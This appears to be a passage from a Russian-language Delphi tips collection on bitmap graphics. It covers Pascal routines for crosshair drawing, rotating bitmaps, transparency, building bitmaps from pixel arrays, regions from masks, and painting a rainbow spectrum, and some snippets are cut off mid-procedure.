procedure TFormMain.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  Cross(X, Y);
end;

procedure TFormMain.Cross(X, Y: Integer);
begin
  Image.Canvas.Pen.Color := clBlack;
  // Restore last image to erase line
  if RectSaved then
  begin
    Image.Canvas.CopyRect(Rect(OldX - 5, 0, OldX + 5, BmpV.Height),
    BmpV.Canvas, Rect(0,0,BmpV.Width,BmpV.Height));
    Image.Canvas.CopyRect(Rect(0, OldY - 5, BmpH.Width, OldY + 5),
    BmpH.Canvas, Rect(0,0,BmpH.Width,BmpH.Height));
    BmpH.Free;
    BmpV.Free;
  end;
  // Now save the image at new position for each line
  // horizontal line
  BmpH := TBitmap.Create;
  BmpH.Width := Image.Width;
  BmpH.Height := 10;
  BmpH.Canvas.CopyRect(Rect(0,0,BmpH.Width,BmpH.Height),
  Image.Canvas,Rect(0, Y - 5, BmpH.Width, Y + 5));
  // Vertical line
  BmpV := TBitmap.Create;
  BmpV.Width := 10;
  BmpV.Height := Image.Height;
  BmpV.Canvas.CopyRect(Rect(0,0,BmpV.Width,BmpV.Height),
                 Image.Canvas,Rect(X - 5, 0, X + 5, BmpV.Height));

  // Now draw the current position
  Image.Canvas.MoveTo(0, Y);
  Image.Canvas.LineTo(Image.Width, Y);
  Image.Canvas.MoveTo(X, 0);
  Image.Canvas.LineTo(X, Image.Height);

  RectSaved := true;
  OldX := X;
  OldY := Y;

  LabelHint.Left := X + 36;
  LabelHint.Top := Y - 15;
  LabelHint.Caption := '(X:' + IntToStr(X) + ' x Y:' + IntToStr(Y) +')';
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с BitMap

Cодержание раздела:

Bitmap в StringGrid ячейке.
Как повернуть Bitmap на любой угол
Как использовать TImageList для рисования прозрачных картинок
Как нарисовать Bitmap с прозрачностью
Как создать Bitmap из массива пикселей
Как создать регион(HRNG) по маске
Как поместить битмап в метафайл
Как вставить растровое изображение в компонент ListBox?
Как нарисовать радугу?
Как из HBitmap получить адрес Bitmap в памяти?
Bitmap.PixelFormat - подробности
Прозрачный Bitmap
Назначение палитры Bitmap
Загрузка Bitmap из .res без потери палитры
Загрузка 256-цветного TBitmap
Bitmap без формы
How to scale bitmap by percent? New!
Конвертация bitmap to sepia or greyscale New!

См. также статьи в других разделах:
Как различаются между собой Paint-события: Invalidate, Update и Refresh?
Можно ли как-то уменьшить мерцание при перерисовке компонента?
Мерцание формы
Как сохранить содержимое TPaintBox в BMP
Как в TBlobField запихать картинку из переменной типа TBitmap?
BLOBFIELD как BITMAP
Как копировать и вставлять Bitmap через буфер обмена?
Как сохранить веб страничку в bitmap?
Как разместить прозрачную надпись на TBitmap?
Как поместить прозрачный текст на Canvas TBitmap
BMP ---> AVI (для TAnimate)
BMP ---> EMF
BMP ---> DIB
BMP ---> ICO
BMP ---> JPG
BMP ---> RTF
BMP ---> WMF
CUR ---> BMP
ICO ---> BMP
JPG ---> BMP
TIF ---> PDF
TXT ---> GIF
WMF ---> BMP
Как определить графический формат файла (не используя расширение)?
Как работать с DWG файлами (AutoCAD)?
Как работать с GIF файлами?
Как узнать размер картинки для JPG, GIF и PNG файлов?
Компонент для работы с PCX файлами
Работа с TGA файлами


Bitmap в StringGrid ячейке.

Автор: Olivio Moura

В обработчике события OnDrawCell элемента StringGrid поместите следующий код:

     with (Sender as TStringGrid) do
     with Canvas do
        begin
        {...}
        Draw(Rect.Left, Rect.Top, Image1.Picture.Graphic);
        {...}
        end;

Используйте метод Draw() или StretchDraw() класса TCanvas. Image1 - это TImage с предварительно загруженным в него bitmap-ом.

Взято из http://forum.sources.ru


Как повернуть Bitmap на любой угол

Const PixelMax = 32768;
Type
  pPixelArray  =  ^TPixelArray;
  TPixelArray  =  Array[0..PixelMax-1] Of TRGBTriple;

Procedure RotateBitmap_ads(
  SourceBitmap   : TBitmap;
  out DestBitmap : TBitmap;
  Center         : TPoint;
  Angle          : Double);
Var
  cosRadians          : Double;
  inX                 : Integer;
  inXOriginal         : Integer;
  inXPrime            : Integer;
  inXPrimeRotated     : Integer;
  inY                 : Integer;
  inYOriginal         : Integer;
  inYPrime            : Integer;
  inYPrimeRotated     : Integer;
  OriginalRow         : pPixelArray;
  Radians             : Double;
  RotatedRow          : pPixelArray;
  sinRadians          : Double;
begin
  DestBitmap.Width    := SourceBitmap.Width;
  DestBitmap.Height   := SourceBitmap.Height;
  DestBitmap.PixelFormat := pf24bit;
  Radians             := -(Angle) * PI / 180;
  sinRadians          := Sin(Radians);
  cosRadians          := Cos(Radians);
  For inX             := DestBitmap.Height-1 Downto 0 Do
  Begin
    RotatedRow        := DestBitmap.Scanline[inX];
    inXPrime          := 2*(inX - Center.y) + 1;
    For inY           := DestBitmap.Width-1 Downto 0 Do
    Begin
      inYPrime        := 2*(inY - Center.x) + 1;
      inYPrimeRotated := Round(inYPrime * CosRadians - inXPrime * sinRadians);
      inXPrimeRotated := Round(inYPrime * sinRadians + inXPrime * cosRadians);
      inYOriginal     := (inYPrimeRotated - 1) Div 2 + Center.x;
      inXOriginal     := (inXPrimeRotated - 1) Div 2 + Center.y;
      If
        (inYOriginal  >= 0)                    And
        (inYOriginal  <= SourceBitmap.Width-1) And
        (inXOriginal  >= 0)                    And
        (inXOriginal  <= SourceBitmap.Height-1)
      Then
      Begin
        OriginalRow   := SourceBitmap.Scanline[inXOriginal];
        RotatedRow[inY]  := OriginalRow[inYOriginal]
      End
      Else
      Begin
        RotatedRow[inY].rgbtBlue  := 255;
        RotatedRow[inY].rgbtGreen := 0;
        RotatedRow[inY].rgbtRed   := 0
      End;
    End;
  End;
End;

{Usage:}
procedure TForm1.Button1Click(Sender: TObject);
Var
  Center : TPoint;
  Bitmap : TBitmap;
begin
  Bitmap := TBitmap.Create;
  Try
    Center.y := (Image.Height  div 2)+20;
    Center.x := (Image.Width div 2)+0;
    RotateBitmap_ads(
      Image.Picture.Bitmap,
      Bitmap,
      Center,
      Angle);
    Angle := Angle + 15;
    Image2.Picture.Bitmap.Assign(Bitmap);
  Finally
    Bitmap.Free;
  End;
end;

Взято из http://forum.sources.ru

procedure RotateBitmap(Bitmap: TBitmap; Angle: Double; BackColor: TColor);
type TRGB = record
       B, G, R: Byte;
     end;
     pRGB = ^TRGB;
     pByteArray = ^TByteArray;
     TByteArray = array[0..32767] of Byte;
     TRectList = array [1..4] of TPoint;

var x, y, W, H, v1, v2: Integer;
    Dest, Src: pRGB;
    VertArray: array of pByteArray;
    Bmp: TBitmap;

  procedure SinCos(AngleRad: Double; var ASin, ACos: Double);
  begin
    ASin := Sin(AngleRad);
    ACos := Cos(AngleRad);
  end;

  function RotateRect(const Rect: TRect; const Center: TPoint; Angle: Double): TRectList;
  var DX, DY: Integer;
      SinAng, CosAng: Double;
    function RotPoint(PX, PY: Integer): TPoint;
    begin
      DX := PX - Center.x;
      DY := PY - Center.y;
      Result.x := Center.x + Round(DX * CosAng - DY * SinAng);
      Result.y := Center.y + Round(DX * SinAng + DY * CosAng);
    end;
  begin
    SinCos(Angle * (Pi / 180), SinAng, CosAng);
    Result[1] := RotPoint(Rect.Left, Rect.Top);
    Result[2] := RotPoint(Rect.Right, Rect.Top);
    Result[3] := RotPoint(Rect.Right, Rect.Bottom);
    Result[4] := RotPoint(Rect.Left, Rect.Bottom);
  end;

  function Min(A, B: Integer): Integer;
  begin
    if A < B then Result := A
             else Result := B;
  end;

  function Max(A, B: Integer): Integer;
  begin
    if A > B then Result := A
             else Result := B;
  end;

  function GetRLLimit(const RL: TRectList): TRect;
  begin
    Result.Left := Min(Min(RL[1].x, RL[2].x), Min(RL[3].x, RL[4].x));
    Result.Top := Min(Min(RL[1].y, RL[2].y), Min(RL[3].y, RL[4].y));
    Result.Right := Max(Max(RL[1].x, RL[2].x), Max(RL[3].x, RL[4].x));
    Result.Bottom := Max(Max(RL[1].y, RL[2].y), Max(RL[3].y, RL[4].y));
  end;

  procedure Rotate;
  var x, y, xr, yr, yp: Integer;
      ACos, ASin: Double;
      Lim: TRect;
  begin
    W := Bmp.Width;
    H := Bmp.Height;
    SinCos(-Angle * Pi/180, ASin, ACos);
    Lim := GetRLLimit(RotateRect(Rect(0, 0, Bmp.Width, Bmp.Height), Point(0, 0), Angle));
    Bitmap.Width := Lim.Right - Lim.Left;
    Bitmap.Height := Lim.Bottom - Lim.Top;
    Bitmap.Canvas.Brush.Color := BackColor;
    Bitmap.Canvas.FillRect(Rect(0, 0, Bitmap.Width, Bitmap.Height));
    for y := 0 to Bitmap.Height - 1 do begin
      Dest := Bitmap.ScanLine[y];
      yp := y + Lim.Top;
      for x := 0 to Bitmap.Width - 1 do begin
        xr := Round(((x + Lim.Left) * ACos) - (yp * ASin));
        yr := Round(((x + Lim.Left) * ASin) + (yp * ACos));
        if (xr > -1) and (xr < W) and (yr > -1) and (yr < H) then begin
          Src := Bmp.ScanLine[yr];
          Inc(Src, xr);
          Dest^ := Src^;
        end;
        Inc(Dest);
      end;
    end;
  end;

begin
  Bitmap.PixelFormat := pf24Bit;
  Bmp := TBitmap.Create;
  try
    Bmp.Assign(Bitmap);
    W := Bitmap.Width - 1;
    H := Bitmap.Height - 1;
    if Frac(Angle) <> 0.0
      then Rotate
      else
    case Trunc(Angle) of
      -360, 0, 360, 720: Exit;
      90, 270: begin
        Bitmap.Width := H + 1;
        Bitmap.Height := W + 1;
        SetLength(VertArray, H + 1);
        v1 := 0;
        v2 := 0;
        if Angle = 90.0 then v1 := H
                        else v2 := W;
        for y := 0 to H do VertArray[y] := Bmp.ScanLine[Abs(v1 - y)];
        for x := 0 to W do begin
          Dest := Bitmap.ScanLine[x];
          for y := 0 to H do begin
            v1 := Abs(v2 - x)*3;
            with Dest^ do begin
              B := VertArray[y, v1];
              G := VertArray[y, v1+1];
              R := VertArray[y, v1+2];
            end;
            Inc(Dest);
          end;
        end
      end;
      180: begin
        for y := 0 to H do begin
          Dest := Bitmap.ScanLine[y];
          Src := Bmp.ScanLine[H - y];
          Inc(Src, W);
          for x := 0 to W do begin
            Dest^ := Src^;
            Dec(Src);
            Inc(Dest);
          end;
        end;
      end;
      else Rotate;
    end;
  finally
    Bmp.Free;
  end;
end;

// Использование
RotateBitmap(Image1.Picture.Bitmap, StrToInt(Edit1.Text), clWhite);

Взято с http://delphiworld.narod.ru


Как использовать TImageList для рисования прозрачных картинок

Следующий пример демонстрирует, динамическое создание компонента TImageList, используемого для рисования прозрачного битмапа.

procedure TForm1.Button1Click(Sender: TObject);
var
  bm : TBitmap;
  il : TImageList;
begin
  bm := TBitmap.Create;
  bm.LoadFromFile('C:\DownLoad\TEST.BMP');
  il := TImageList.CreateSize(bm.Width,
                              bm.Height);
  il.DrawingStyle := dsTransparent;
  il.Masked := true;
  il.AddMasked(bm, clRed);
  il.Draw(Form1.Canvas, 0, 0, 0);
  bm.Free;
  il.Free;
end;

Взято из http://forum.sources.ru


Как нарисовать Bitmap с прозрачностью

procedure DrawTransparentBmp(Cnv: TCanvas; x,y: Integer; Bmp: TBitmap;
                             clTransparent: TColor);
var
  bmpXOR, bmpAND, bmpINVAND, bmpTarget: TBitmap;
  oldcol: Longint;
begin
  try
    bmpAND := TBitmap.Create;
    bmpAND.Width := Bmp.Width;
    bmpAND.Height := Bmp.Height;
    bmpAND.Monochrome := True;
    oldcol := SetBkColor(Bmp.Canvas.Handle, ColorToRGB(clTransparent));
    BitBlt(bmpAND.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height, Bmp.Canvas.Handle,
           0,0, SRCCOPY);
    SetBkColor(Bmp.Canvas.Handle, oldcol);

    bmpINVAND := TBitmap.Create;
    bmpINVAND.Width := Bmp.Width;
    bmpINVAND.Height := Bmp.Height;
    bmpINVAND.Monochrome := True;
    BitBlt(bmpINVAND.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height,
           bmpAND.Canvas.Handle, 0,0, NOTSRCCOPY);

    bmpXOR := TBitmap.Create;
    bmpXOR.Width := Bmp.Width;
    bmpXOR.Height := Bmp.Height;
    BitBlt(bmpXOR.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height, Bmp.Canvas.Handle,
           0,0, SRCCOPY);
    BitBlt(bmpXOR.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height,
           bmpINVAND.Canvas.Handle, 0,0, SRCAND);

    bmpTarget := TBitmap.Create;
    bmpTarget.Width := Bmp.Width;
    bmpTarget.Height := Bmp.Height;
    BitBlt(bmpTarget.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height, Cnv.Handle, x,y,
           SRCCOPY);
    BitBlt(bmpTarget.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height,
           bmpAND.Canvas.Handle, 0,0, SRCAND);
    BitBlt(bmpTarget.Canvas.Handle, 0,0,Bmp.Width,Bmp.Height,
           bmpXOR.Canvas.Handle, 0,0, SRCINVERT);
    BitBlt(Cnv.Handle, x,y,Bmp.Width,Bmp.Height, bmpTarget.Canvas.Handle, 0,0,
           SRCCOPY);
  finally
    bmpXOR.Free;
    bmpAND.Free;
    bmpINVAND.Free;
    bmpTarget.Free;
  end;
end;
Взято из http://forum.sources.ru


Как создать Bitmap из массива пикселей

Один из способов создания битмапа из массива пикселей заключается в использовании Windows API функции CreateDiBitmap(). Это позволит использовать один из многих форматов битмапа, которые Windows использует для хранения пикселей. Следующий пример создаёт 256-цветный битмап из массива пикселей. Битмап состит из 256 оттенков серого цвета плавно переходящих от белого к чёрному. Обратите внимание, что Windows резервирует первые и последние 10 цветов для системных нужд, поэтому Вы можете получить максимум 236 оттенков серого.

{$IFNDEF WIN32}
type
{Used for pointer math under Win16}
  PPtrRec = ^TPtrRec;
  TPtrRec = record
    Lo : Word;
    Hi : Word;
  end;
{$ENDIF}

{Used for huge pointer math}
function GetBigPointer(lp : pointer;
                       Offset : Longint) : Pointer;
begin
{$IFDEF WIN32}
  GetBigPointer := @PByteArray(lp)^[Offset];
{$ELSE}
  Offset := Offset + TPtrRec(lp).Lo;
  GetBigPointer := Ptr(TPtrRec(lp).Hi + TPtrRec(Offset).Hi *
                       SelectorInc,
                       TPtrRec(Offset).Lo);
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  hPixelBuffer : THandle; {Handle to the pixel buffer}
  lpPixelBuffer : pointer; {pointer to the pixel buffer}
  lpPalBuffer : PLogPalette; {The palette buffer}
  lpBitmapInfo : PBitmapInfo; {The bitmap info header}
  BitmapInfoSize : longint; {Size of the bitmap info header}
  BitmapSize : longint; {Size of the pixel array}
  PaletteSize : integer; {Size of the palette buffer}
  i : longint; {loop variable}
  j : longint; {loop variable}
  OldPal : hPalette; {temp palette}
  hPal : hPalette; {handle to our palette}
  hBm : hBitmap; {handle to our bitmap}
  Bm : TBitmap; {temporary TBitmap}
  Dc : hdc; {used to convert the DOB to a DDB}
  IsPaletteDevice : bool;
begin
Application.ProcessMessages;
{If range checking is on - turn it off for now}
{we will remember if range checking was on by defining}
{a define called CKRANGE if range checking is on.}
{We do this to access array members past the arrays}
{defined index range without causing a range check}
{error at runtime. To satisfy the compiler, we must}
{also access the indexes with a variable. ie: if we}
{have an array defined as a: array[0..0] of byte,}
{and an integer i, we can now access a[3] by setting}
{i := 3; and then accessing a[i] without error}
{$IFOPT R+}
  {$DEFINE CKRANGE}
  {$R-}
{$ENDIF}

{Lets check to see if this is a palette device - if so, then}
{we must do palette handling for a successful operation.}
{Get the screen's dc to use since memory dc's are not reliable}
  dc := GetDc(0);
  IsPaletteDevice :=
    GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;
{Give back the screen dc}
  dc := ReleaseDc(0, dc);

{Размер информации о рисунке должен равняться размеру BitmapInfo}
{плюс размер таблицы цветов, минус одна таблица}
{так как она уже объявлена в TBitmapInfo}
  BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255);

{The bitmap size must be the width of the bitmap rounded}
{up to the nearest 32 bit boundary}
  BitmapSize := (sizeof(byte) * 256) * 256;

{Размер палитры должен равняться размеру TLogPalette}
{плюс количество ячеек цветовой палитры - 1, так как}
{одна палитра уже объявлена в TLogPalette}
  if IsPaletteDevice then
   PaletteSize := sizeof(TLogPalette) + (sizeof(TPaletteEntry) * 255);

{Выделяем память под BitmapInfo, PixelBuffer, и Palette}
  GetMem(lpBitmapInfo, BitmapInfoSize);
  hPixelBuffer := GlobalAlloc(GHND, BitmapSize);
  lpPixelBuffer := GlobalLock(hPixelBuffer);

  if IsPaletteDevice then
    GetMem(lpPalBuffer, PaletteSize);

{Заполняем нулями BitmapInfo, PixelBuffer, и Palette}
  FillChar(lpBitmapInfo^, BitmapInfoSize, #0);
  FillChar(lpPixelBuffer^, BitmapSize, #0);
  if IsPaletteDevice then
    FillChar(lpPalBuffer^,PaletteSize, #0);

{Заполняем структуру BitmapInfo}
  lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);
  lpBitmapInfo^.bmiHeader.biWidth := 256;
  lpBitmapInfo^.bmiHeader.biHeight := 256;
  lpBitmapInfo^.bmiHeader.biPlanes := 1;
  lpBitmapInfo^.bmiHeader.biBitCount := 8;
  lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;
  lpBitmapInfo^.bmiHeader.biSizeImage := BitmapSize;
  lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;
  lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;
  lpBitmapInfo^.bmiHeader.biClrUsed := 256;
  lpBitmapInfo^.bmiHeader.biClrImportant := 256;

{Заполняем таблицу цветов BitmapInfo оттенками серого: от чёрного до белого}
  for i := 0 to 255 do begin
    lpBitmapInfo^.bmiColors[i].rgbRed := i;
    lpBitmapInfo^.bmiColors[i].rgbGreen := i;
    lpBitmapInfo^.bmiColors[i].rgbBlue := i;
  end;

Взято из http://forum.sources.ru


Как создать регион(HRNG) по маске

Ниже приведена функция, которая создаёт HRGN из чёрно-белого битмапа. Все чёрные пиксели становятся регионом, а белые становятся прозрачными. Так же не составит труда сделать преобразования для поддержки всех цветов и чтобы один из них был прозрачным.

По окончании необходимо освободить регион при помощи функции DeleteObject.

function BitmapToRgn(Image: TBitmap): HRGN;
var
  TmpRgn: HRGN;
  x, y: integer;
  ConsecutivePixels: integer;
  CurrentPixel: TColor;
  CreatedRgns: integer;
  CurrentColor: TColor;
begin
  CreatedRgns := 0;
  Result := CreateRectRgn(0, 0, Image.Width, Image.Height);
  inc(CreatedRgns);

  if (Image.Width = 0) or (Image.Height = 0) then exit;

  for y := 0 to Image.Height - 1 do
    begin
    CurrentColor := Image.Canvas.Pixels[0,y];
    ConsecutivePixels := 1;
    for x := 0 to Image.Width - 1 do
      begin
      CurrentPixel := Image.Canvas.Pixels[x,y];

      if CurrentColor = CurrentPixel
        then inc(ConsecutivePixels)
        else begin
             // Входим в новую зону
             if CurrentColor = clWhite then
               begin
               TmpRgn := CreateRectRgn(x-ConsecutivePixels, y, x, y+1);
               CombineRgn(Result, Result, TmpRgn, RGN_DIFF);
               inc(CreatedRgns);
               DeleteObject(TmpRgn);
               end;
             CurrentColor := CurrentPixel;
             ConsecutivePixels := 1;
             end;
      end;

   if (CurrentColor = clWhite) and (ConsecutivePixels > 0) then
      begin
      TmpRgn := CreateRectRgn(x-ConsecutivePixels, y, x, y+1);
      CombineRgn(Result, Result, TmpRgn, RGN_DIFF);
      inc(CreatedRgns);
      DeleteObject(TmpRgn);
      end;
    end;
end;

Взято из http://forum.sources.ru


Как поместить битмап в метафайл

Следующий пример демонстрирует рисование битмапа в метафайле.

procedure TForm1.Button1Click(Sender: TObject);
var
  m : TmetaFile;
  mc : TmetaFileCanvas;
  b : tbitmap;
begin
  m := TMetaFile.Create;
  b := TBitmap.create;
  b.LoadFromFile('C:\SomePath\SomeBitmap.BMP');
  m.Height := b.Height;
  m.Width := b.Width;
  mc := TMetafileCanvas.Create(m, 0);
  mc.Draw(0, 0, b);
  mc.Free;
  b.Free;
  m.SaveToFile('C:\SomePath\Test.emf');
  m.Free;
  Image1.Picture.LoadFromFile('C:\SomePath\Test.emf');
end;

Взято из http://forum.sources.ru


Как вставить растровое изображение в компонент ListBox?

Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.
Пример:
Рисуются изображения размером 32*16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!
Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.

{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}
procedure TForm1.bLoadClick(Sender: TObject);
VAR S : String;
begin
  ListBox1.Clear; {чистим список}
  S := '*.bmp'#0; {задаем шаблон}
  ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}
end;
          ............

{Отобразить изображения и имена файлов в ListBox}
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
           Rect: TRect; State: DrawState);
VAR
  Bitmap : TBitmap;
  Offset : Integer;
  BMPRect: TRect;
begin
  WITH (Control AS TListBox).Canvas DO BEGIN
    FillRect(Rect);
    Bitmap := TBitmap.Create;
    Bitmap.LoadFromFile(ListBox1.Items[Index]);
    Offset := 0;
    IF Bitmap <> NIL THEN BEGIN
      BMPRect := Bounds(Rect.Left+2, Rect.Top+2,
                        (Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2);
      {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}
      BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),
                Bitmap.Canvas.Pixels[0, Bitmap.Height-1]);
      Offset := (Rect.Bottom-Rect.Top+1)*2;
    END;
    TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[Index]);
    Bitmap.Free;
   END;
end;

Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа его работы.

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как нарисовать радугу?

How do I paint the color spectrum of a rainbow, and if the
spectrum is clicked on, how do I calculate what color was
clicked on?

The following example demonstrates painting a color spectrum,
and calculating the color of a given point on the spectrum.
Two procedures are presented: PaintRainbow() and
ColorAtRainbowPoint(). The PaintRainbow() procedure paints a
spectrum from red to magenta if the WrapToRed parameter is
false, or paint red to red if the WrapToRed parameter is true.
The rainbow can progress either in a horizontal or
vertical progression. The ColorAtRainbowPoint() function
returns a TColorRef containing the color at a given point in
the rainbow.

procedure PaintRainbow(Dc : hDc; {Canvas to paint to}
                       x : integer; {Start position X}
                       y : integer;  {Start position Y}
                       Width : integer; {Width of the rainbow}
                       Height : integer {Height of the rainbow};
                       bVertical : bool; {Paint verticallty}
                       WrapToRed : bool); {Wrap spectrum back to red}
var
  i : integer;
  ColorChunk : integer;
  OldBrush : hBrush;
  OldPen : hPen;
  r : integer;
  g : integer;
  b : integer;
  Chunks : integer;
  ChunksMinus1 : integer;
  pt : TPoint;
begin
  OffsetViewportOrgEx(Dc,
                      x,
                      y,
                      pt);

  if WrapToRed = false then
    Chunks := 5 else
    Chunks := 6;
  ChunksMinus1 := Chunks - 1;

  if bVertical = false then
    ColorChunk := Width div Chunks else
    ColorChunk := Height div Chunks;

 {Red To Yellow}
  r := 255;
  b := 0;
  for i := 0 to ColorChunk do begin
    g:= (255 div ColorChunk) * i;
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush));
  end;

 {Yellow To Green}
  g:=255;
  b:=0;
  for i := ColorChunk  to (ColorChunk * 2) do begin
    r := 255 - (255 div ColorChunk) * (i - ColorChunk);
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush));
  end;

 {Green To Cyan}
  r:=0;
  g:=255;
  for i:= (ColorChunk * 2) to (ColorChunk * 3) do begin
    b := (255 div ColorChunk)*(i - ColorChunk * 2);
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc,OldBrush));
  end;

 {Cyan To Blue}
  r := 0;
  b := 255;
  for i:= (ColorChunk * 3) to (ColorChunk * 4) do begin
    g := 255 - ((255 div ColorChunk) * (i - ColorChunk * 3));
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush));
  end;

 {Blue To Magenta}
  g := 0;
  b := 255;
  for i:= (ColorChunk * 4) to (ColorChunk * 5) do begin
    r := (255 div ColorChunk) * (i - ColorChunk * 4);
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc, i, 0, 1, Height, PatCopy) else
      PatBlt(Dc, 0, i, Width, 1, PatCopy);
    DeleteObject(SelectObject(Dc, OldBrush))
  end;

  if WrapToRed <> false then begin
   {Magenta To Red}
    r := 255;
    g := 0;
    for i := (ColorChunk * 5) to ((ColorChunk * 6) - 1) do begin
      b := 255 -((255 div ColorChunk) * (i - ColorChunk * 5));
      OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r,g,b)));
      if bVertical = false then
        PatBlt(Dc, i, 0, 1, Height, PatCopy) else
        PatBlt(Dc, 0, i, Width, 1, PatCopy);
      DeleteObject(SelectObject(Dc,OldBrush));
    end;
  end;

 {Fill Remainder}
  if (Width - (ColorChunk * Chunks) - 1 ) > 0 then begin
    if WrapToRed <> false then begin
      r := 255;
      g := 0;
      b := 0;
    end else begin
      r := 255;
      g := 0;
      b := 255;
    end;
    OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));
    if bVertical = false then
      PatBlt(Dc,
             ColorChunk * Chunks,
             0,
             Width - (ColorChunk * Chunks),
             Height,
             PatCopy) else
      PatBlt(Dc,
             0,
             ColorChunk * Chunks,
             Width,
             Height - (ColorChunk * Chunks),
             PatCopy);
    DeleteObject(SelectObject(Dc,OldBrush));
  end;
  OffsetViewportOrgEx(Dc,
                      Pt.x,
                      Pt.y,
                      pt);
end;

function ColorAtRainbowPoint(ColorPlace : integer;
                             RainbowWidth : integer;
                             WrapToRed : bool) : TColorRef;
var
  ColorChunk : integer;
  ColorChunkIndex : integer;
  ColorChunkStart : integer;
begin
  if ColorPlace = 0 then begin
    result := RGB(255, 0, 0);
    exit;
 end;
{WhatChunk}
  if WrapToRed <> false then
    ColorChunk := RainbowWidth div 6 else
    ColorChunk := RainbowWidth div 5;
    ColorChunkStart := ColorPlace div ColorChunk;
    ColorChunkIndex := ColorPlace mod ColorChunk;
  case ColorChunkStart of
   0 : result := RGB(255,
                     (255 div ColorChunk) * ColorChunkIndex,
                     0);
   1 : result := RGB(255 - (255 div ColorChunk) * ColorChunkIndex,
                     255,
                     0);
   2 : result := RGB(0, 255, (255 div ColorChunk) * ColorChunkIndex);
   3 : result := RGB(0,
                     255 - (255 div ColorChunk) * ColorChunkIndex,
                     255);
   4 : result := RGB((255 div ColorChunk) * ColorChunkIndex,
                     0,
                     255);
   5 : result := RGB(255,
                     0,
                     255 - (255 div ColorChunk) * ColorChunkIndex);
  else
    if WrapToRed <> false then
      result := RGB(255, 0, 0) else
      result := RGB(255, 0, 255);
  end;{Case}
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
  PaintRainbow(Form1.Canvas.Handle,
               0,
               0,
               Form1.ClientWidth,
               Form1.ClientHeight,
               false,
               true);

end;

procedure TForm1.FormResize(Sender: TObject);
begin
  InvalidateRect(Form1.Handle, nil, false);
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  Color : TColorRef;
begin
  Color := ColorAtRainbowPoint(y,
                               Form1.ClientWidth,
                               true);
  ShowMessage(IntToStr(GetRValue(Color)) + #32 +
              IntToStr(GetGValue(Color)) + #32 +
              IntToStr(GetBValue(Color)));
end;


Как из HBitmap получить адрес Bitmap в памяти?

Вот кусок одного моего класса, в котором есть две интересные вещицы -
проецирование файлов в память и работа с битмэпом в памяти через указатель.
Сразу оговорюсь, что все это работает только Delphi 2 и Win95/NT.

type
   TarrRGBTriple=array[byte] of TRGBTriple;
   ParrRGBTriple=^TarrRGBTriple;

{организует битмэп размером SX,SY;true_color}
procedure TMBitmap.Allocate(SX,SY:integer);
var DC:HDC;
begin
  if BM<>0 then DeleteObject(BM);   {удаляем старый битмэп, если был}
  BM:=0;  PB:=nil;
  fillchar(BI,sizeof(BI),0);
  with BI.bmiHeader do        {заполняем структуру с параметрами битмэпа}
  begin
    biSize:=sizeof(BI.bmiHeader);
    biWidth:=SX;  biHeight:=SY;
    biPlanes:=1;  biBitCount:=24;
    biCompression:=BI_RGB;
    biSizeImage:=0;
    biXPelsPerMeter:=0;  biYPelsPerMeter:=0;
    biClrUsed:=0;        biClrImportant:=0;

    FLineSize:=(biWidth+1)*3 and (-1 shl 2); {размер строки(кратна 4 байтам)}

    if (biWidth or biHeight)<>0 then
     begin
       DC:=CreateDC('DISPLAY',nil,nil,nil);
